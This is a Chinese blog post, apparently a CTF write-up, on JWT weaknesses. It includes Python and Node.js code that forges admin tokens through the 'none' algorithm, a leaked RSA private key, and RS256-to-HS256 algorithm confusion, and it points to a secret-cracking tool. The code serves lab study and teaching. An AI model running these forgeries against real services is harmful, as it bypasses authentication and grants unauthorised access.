jwt安全问题

news2024/10/7 2:25:39

文章目录

    • jwt安全问题
      • jwt简介
      • jwt组成
        • header
        • payload
        • signature
      • 潜在漏洞
        • 空加密算法
          • web346
        • 密钥爆破
          • web348
        • 敏感信息泄露
          • web349
        • **修改算法RS256为HS256**
          • web350

jwt安全问题

jwt简介

JWT的全称是Json Web Token,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt就是可以用来验证身份的东西

jwt组成

格式为:

header.payload.signature

1.png

header

heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。

{
	"typ":"JWT",
	"alg":"HS256"
}

payload

payload则为用户数据,如一次登录的过程可能会传递一下数据

{
    "user_role" : "finn",    	//当前登录用户
    "iss": "admin",          	//该JWT的签发者,有些是URL
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,        //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}

signature

这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"=“号,并且将”+“替换成”-“、”/“替换成”_"

潜在漏洞

● 签名未校验

● 算法被篡改

● 敏感信息泄露

● 加密算法不安全

● 伪造密钥(CVE-2018-0114)

空加密算法

JWT支持空加密算法,可以在header中指定alg为None,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证

格式:header+"."+payload+"."

空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。

web346

jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE

解密看看:

image-20230829162321891

我们需要将其改为admin

但是这里存在空加密算法,我们直接把算法换为none即可

import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1610432484,
    "exp": 1610439684,
    "nbf": 1610432484,
    "sub": "admin",
    "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
    "alg": "none",
    "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,
                       key='',
                       headers=headers,
                       algorithm="None",
                       )

print(jwt_token)

# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.

密钥爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)
web348
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo

借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker

image-20230829163619492

敏感信息泄露

web349

私钥泄露了

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

访问/private.key可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token

import jwt

private = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

修改算法RS256为HS256

(非对称密码–>对称密码)

JWT中最常用的两种算法为HMACRSA

HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在这两种算法中都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key

web350

这里公钥泄露了,我们直接修改加密算法为HS256,此时服务端会使用公钥进行校验

import jwt

public = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

或者使用nodejs:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/949728.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言练习题解析:挑战与突破,开启编程新篇章!(2)

💓博客主页:江池俊的博客⏩收录专栏:C语言刷题专栏👉专栏推荐:✅C语言初阶之路 ✅C语言进阶之路💻代码仓库:江池俊的代码仓库🎉欢迎大家点赞👍评论📝收藏⭐ 文…

42、springboot 的 路径匹配 和 内容协商

springboot 的 路径匹配 和 内容协商 对于路径匹配,自己的总结就是: 以前路径匹配时默认不检查后缀,http://localhost:8080/aaa.json 可以直接访问到 RequstMapping(“/aaa”) 的方法。现在不行了。现在会检查后缀了。 内容协商的理解总结&…

antd DatePicker月份不显示中文

import dayjs/locale/zh-cn; import locale from antd/es/date-picker/locale/zh_CN;<DatePickeronChange{changeMonth}picker"month"disabledDate{disabledDate}locale{locale} /> 看着代码没问题执行如下图 查了下原因默认的中文local文件并没有月份的forma…

无涯教程-Android - ImageButton函数

ImageButton是一个AbsoluteLayout,可让您指定其子级的确切位置。这显示了带有图像(而不是文本)的按钮,用户可以按下或单击该按钮。 Android button style set ImageButton属性 以下是与ImageButton控件相关的重要属性。您可以查看Android官方文档以获取属性的完整列表以及可以…

ONLYOFFICE HackerOne 错误赏金计划:2023 年夏季快报

我们的 HackerOne 计划自 2022 年启动&#xff0c;范围持续扩大&#xff0c;节奏不断加快。欢迎您查看今年的数据&#xff0c;了解范围内的新项目——ONLYOFFICE 协作空间&#xff0c;了解如何通过 HackerOne&#xff0c;开启 ONLYOFFICE 解决方案测试之旅。 关于 ONLYOFFICE 赏…

华为OD机试 - 数字序列比大小 - 贪心算法(Java 2023 B卷 100分)

目录 一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 一、题目描述 A&#xff0c;B两个人万一个数字比大小的游戏&#xff0c;在游戏前&#xff0c;两个人会拿…

【c语言】输出n行按如下规律排列的数

题述&#xff1a;输出n行按如下规律排列的数 输入&#xff1a; 4(应该指的是n) 输出: 思路&#xff1a; 利用下标的规律求解&#xff0c;考察数组下标的灵活应用&#xff0c;我们可以看出数从1开始是斜着往下放的&#xff0c;那么我们如何利用两层for循环求解这道题&#xff…

Oracle基础用法

操作环境&#xff1a;操作系统为Windows10-64位 操作版本&#xff1a; Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production PL/SQL Developer Version 12.0.7.1837 (64bit) 01.226959 目录 $函数一、nvl与coalesce1、nvl(eExpression1, eExpressio…

Android AGP版本

做个记录&#xff1a; Android AGP版本 https://developer.android.com/studio/releases/gradle-plugin?hlzh-cn

【前端】CSS3新特性

目录 一、前言二、伪元素选择器1、选择器2、注意事项3、代码示例 三、伪元素清除浮动1、第一种伪元素清除浮动2、第二种伪元素清除浮动 四、CSS3盒子模型1、box-sizing&#xff1a;content-box2、box-sizing&#xff1a;border-box 五、CSS3图片模糊处理1、图片变模糊①、CSS3滤…

Hive-安装与配置(1)

&#x1f947;&#x1f947;【大数据学习记录篇】-持续更新中~&#x1f947;&#x1f947; 个人主页&#xff1a;beixi 本文章收录于专栏&#xff08;点击传送&#xff09;&#xff1a;【大数据学习】 &#x1f493;&#x1f493;持续更新中&#xff0c;感谢各位前辈朋友们支持…

小白到运维工程师自学之路 第八十集 (Jumpserver堡垒机管理)2

5、登录普通用户进行测试 这里的操作和在linux系统中的终端操作一样 在Xshell中登录 创建一个普通文件 在web终端中查看 五、审计台 在审计台中可以看到服务器的各种详细操作 在这里可以看到哪个用户在哪个时间对服务器具体使用了什么命令&#xff0c;还可以看到录频回放。 …

提升开发能力的低代码思路

一、低代码理念 在现代软件开发中&#xff0c;低代码开发平台备受关注。那么&#xff0c;什么是低代码开发平台呢&#xff1f;简单来说&#xff0c;它是一种能够提供丰富的图形化用户界面&#xff0c;让开发者通过拖拽组件和模型就能构建应用的开发环境。与传统开发方式相比&am…

对负载均衡的全面理解

title: 对负载均衡的全面理解 date: 2021-07-10 21:41:24 tags: TCP/IP 对负载均衡服务(LBS)大名入行不多久就一直听闻&#xff0c;后来的工作中&#xff0c;也了解到 软件负载均衡器&#xff0c;如被合入Linux内核的章文嵩的LVS&#xff0c;还有以应用程序形式出现的HAProxy、…

设计模式--装饰者模式(Decorator Pattern)

一、什么是装饰者模式&#xff08;Decorator Pattern&#xff09; 装饰者模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许你在不修改现有对象的情况下&#xff0c;动态地将新功能附加到对象上。这种模式通过创建一个包装类&#xff0c;…

hosts文件位置在哪里,教你hosts文件位置在哪里

Hosts是一个没有扩展名的系统文件&#xff0c;其基本作用就是将一些常用的网址域名与其对应的IP地址建立一个关联"数据库",当用户在浏览器中输入一个需要登录的网址时&#xff0c;系统会首先自动从Hosts文件中寻找对应的IP地址&#xff0c;一旦找到&#xff0c;系统会…

(动态规划) 剑指 Offer 66. 构建乘积数组——【Leetcode每日一题】

❓ 剑指 Offer 66. 构建乘积数组 难度&#xff1a;中等 给定一个数组 A[0,1,…,n-1]&#xff0c;请构建一个数组 B[0,1,…,n-1]&#xff0c;其中 B[i] 的值是数组 A 中除了下标 i 以外的元素的积, 即 B[i]A[0]A[1]…A[i-1]A[i1]…A[n-1]。不能使用除法。 示例: 输入: [1,2,3…

【数学建模】-- 模糊综合评价

模糊综合评价&#xff08;Fuzzy Comprehensive Evaluation&#xff09;是一种用于处理不确定性和模糊性信息的决策分析方法。它通常用于解决复杂的多指标决策问题&#xff0c;其中各指标之间可能存在交叉影响和模糊性的情况。模糊综合评价通过将不确定性和模糊性量化&#xff0…

程序员的福音,高效取【淘宝 1688 京东】商品详情页面数据,API 接口封装系列

业务场景&#xff1a;作为全球最大的 B2C 电子商务平台之一&#xff0c;淘宝天猫平台提供了丰富的商品资源&#xff0c;吸引了大量的全球买家和卖家。为了方便开发者接入淘宝天猫平台&#xff0c;淘宝天猫平台提供了丰富的 API 接口&#xff0c;其中历史价格接口是非常重要的一…

ATA-2081高压放大器的电子实验案例(案例合集)

ATA-2081是一款理想的可放大交直流信号的单通道高压放大器。最大输出800Vp-p(400Vp)高压&#xff0c;可以驱动高压型负载。凭借其优异的指标参数受到不少电子工程师的喜欢&#xff0c;其在电子实验中的应用也非常频繁&#xff0c;下面为大家整理出ATA-2081高压放大器的应用案例…